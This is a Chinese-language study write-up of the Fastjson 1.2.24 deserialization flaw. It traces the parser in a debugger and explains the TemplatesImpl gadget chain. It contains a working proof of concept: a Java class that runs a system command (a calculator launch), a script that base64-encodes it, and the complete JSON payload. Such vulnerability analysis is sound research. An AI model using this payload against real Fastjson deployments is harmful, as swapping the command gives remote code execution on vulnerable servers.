Fastjson1.2.24反序列化学习

 

作者:江鸟@星盟

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

 

简单应用

环境

我是用idea+maven构造的,分为以下几步

1. idea新建一个maven项目
2. 修改pom.xml 引入fastjson
<dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
</dependencies>

序列化

Ser

public class Ser {
    public static void main(String[] args) {
        User user = new User();
        user.setName("lisi");
        String jsonstring = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(jsonstring);
    }
}

结果

setName is running ...
getName is running ...
{"@type":"User","name":"lisi"}

SerializerFeature.WriteClassNametoJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。

不加的时候结果中就没有@type

setName is running ...
getName is running ...
{"name":"lisi"}

上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。

反序列化

User

/**
 * @program: fastjsontest
 * @description:
 * @author: 江鸟
 * @create: 2021-03-15 18:28
 **/
public class User {
    private String name;

    public String getName() {
        System.out.println("getName is running ...");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName is running ...");
        this.name = name;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                '}';
    }
}

Test

import com.alibaba.fastjson.JSON;

/**
 * @program: fastjsontest
 * @description:
 * @author: 江鸟
 * @create: 2021-03-15 18:29
 **/
public class Test {
    public static void main(String[] args) {
        String json = "{\"@type\":\"User\", \"name\":\"zhangsan\"}";
        Object obj = JSON.parse(json);
        System.out.println(obj); //输出User{name='zhangsan'}
    }
}

结果为

setName is running ...
User{name='zhangsan'}

当输出一个object类型的对象时,会通过@type指定的进行解析,被解析成了User类型的对象

@type属性起的作用,

Fastjson支持在json数据中使用@type属性指定该json数据被反序列为什么类型的对象

同时控制台也输出了 setName is running … ,

说明在反序列化对象时,会执行javabean的setter方法为其属性赋值

parse成功触发了set方法,parseObject同时触发了set和get方法

//        Object obj = JSON.parse(json); // 不调用getter方法
        Object obj = JSON.parseObject(json);//都弹出计算机

 

1.2.24 反序列化

代码分析

通过设置断点,我们来找存在问题的漏洞代码,在测试代码Test中设置最开始的断点

Object obj = JSON.parse(json);

因为我们知道然后再进User中给调用的setName方法设置断点开始debug的时候跳转到第二个断点

往回找 找到了一个setValue方法

首先传入的是User类型,值为zhangsan,通过反射获取到类的方法名,然后调用方法进行赋值

在该方法中可以得出如下结论:

  1. fileldinfo类中包含javabean的属性名称及其setter、getter等Method对象,然后通过反射的方式调用setter方法为属性赋值。
  2. 当javabean中存在属性为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection类型,且fieldinfo.getOnly值为true时(当javabean的属性没有setter方法,只有getter方法时,该值为true),在反序列化时会调用该属性的getter方法。

 

漏洞利用

TemplatesImpl攻击调用链路

如果一个类中的Getter方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。

TemplatesImpl类恰好满足这个要求:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中存在一个名为_outputPropertiesget的私有变量,其getter方法中存在利用点,这个getter方法恰好满足了调用条件,在JSON字符串被解析时可以调用其在调用FastJson.parseObject()序列化为Java对象时会被调用

poc:

/**
 * @program: fastjsontest
 * @description:fastjson1.2.24版本TemplatesImpl攻击调用链路
 * @author: 江鸟
 * @create: 2021-03-17 10:21
 **/
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("open -a Calculator");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}

通过如下方式进行base64加密以及生成payload

import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc

POC如下

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

通过poc进行分析

调用链

首先先调用了在JSON.java中的parseObject()

com.alibaba.fastjson.JSON#parse(java.lang.String, com.alibaba.fastjson.parser.Feature...)

public static JSONObject parseObject(String text, Feature... features) {
        return (JSONObject) parse(text, features);
    }

就相当于把parseObject变成了parse(text, features)类,并传入参数

跳转到

com.alibaba.fastjson.JSON#parse(java.lang.String, com.alibaba.fastjson.parser.Feature...)

public static Object parse(String text, Feature... features) {
        int featureValues = DEFAULT_PARSER_FEATURE;
        for (Feature feature : features) {
            featureValues = Feature.config(featureValues, feature, true);
        }

        return parse(text, featureValues);
    }

再跳到parse(String text, int features)

在这里new了一个DefaultJSONParser对象

DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
    public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
        this.lexer = lexer;
        this.input = input;
        this.config = config;
        this.symbolTable = config.symbolTable;

        int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACE;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
        } else {
            lexer.nextToken(); // prime the pump
        }
    }

在这个对象中,主要是进行了对于传入字符串的获取操作

然后再传入parser.parseObject()来解析传入的数据

在这个函数主体内,会完成对于JSON数据的解析处理。在for循环中,不断的取得JSON数据中的值,然后进入scanSymbol处理。在scanSymbol中,首先会遍历取出两个双引号之间的数据作为key。

然后到了下面这句进行反序列化

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

return deserializer.deserialze(this, clazz, fieldName);

传入的参数列表

跟进函数查看

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
        return deserialze(parser, type, fieldName, 0);
    }

    再到

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features) {
        return deserialze(parser, type, fieldName, null, features);
    }

    再到

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)

boolean match = parseField(parser, key, object, type, fieldValues);

之后进入parseField()调用smartMatch()对key值进行处理

之后进入了fieldDeserializer.parseField()

在这里调用了setValue方法

com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField

跟进之后发现这个方法中通过反射使fieldinfo的method值为outputProperties

并在接下来的循环中通过invoke方法来调用class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

跟进newTransformer方法

在这里主要看这个

transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

跟进getTransletInstance()方法

_bytecodes会传入getTransletInstance方法中的defineTransletClasses方法,defineTransletClasses方法会根据_bytecodes字节数组new一个_class_bytecodes加载到_class中,最后根据_class,用newInstance生成一个java实例。

classloader是将class字节类载入虚拟机的一种形式,为了给外界提供一种加载class的途径

载入的内容

getConstructors():此方法用于取得全部构造方法

newInstance()创建对象用的一个方法

所以这句话的意思是,将刚才载入的_class[_transletIndex]获取他的全部构造方法然后创建这个对象

最后一步,就是AbstractTranslet的强制转换

到这里命令就成功执行了

 

问题解答

为什么要继承AbstractTranslet

在这里有一个AbstractTranslet的强制转换所以需要继承,不然会报错

为什么只有在设定Feature.SupportNonPublicField参数才可以反序列化成功

这个问题其实也是为什么需要设定_tfactory={}是一样的

在defineTransletClasses()方法中需要满足_tfactory变量不为null,否则导致程序异常退出

因为_tfactory为私有变量,且无setter方法,所以需要指定Feature.SupportNonPublicField参数

就是为了支持私有属性的传入

为什么要base64编码并用数组格式

根据前面的内容 在反序列化deserialze之后调用了parseField()中

 value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);

跟进跳转

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

在这里主要是对格式进行判断

当判断_bytecodes为数组的格式时,进入parseArray方法

com.alibaba.fastjson.parser.DefaultJSONParser#parseArray(java.lang.reflect.Type, java.util.Collection, java.lang.Object)

在这个函数时,

val = deserializer.deserialze(this, type, i);

又调用了 com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

这次已经是数组提取的结果,进入了循环

            if (lexer.token() == JSONToken.LITERAL_STRING) {
            byte[] bytes = lexer.bytesValue();
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        }

跟进lexer.bytesValue()

位于com.alibaba.fastjson.parser.JSONScanner#bytesValue

就是一个base64解码的操作,所以我们传入的__bytecode需要是数组形式并base64编码

 

参考

https://zhuanlan.zhihu.com/p/356650590

https://xz.aliyun.com/t/8979

https://www.anquanke.com/post/id/223467#h3-5

(完)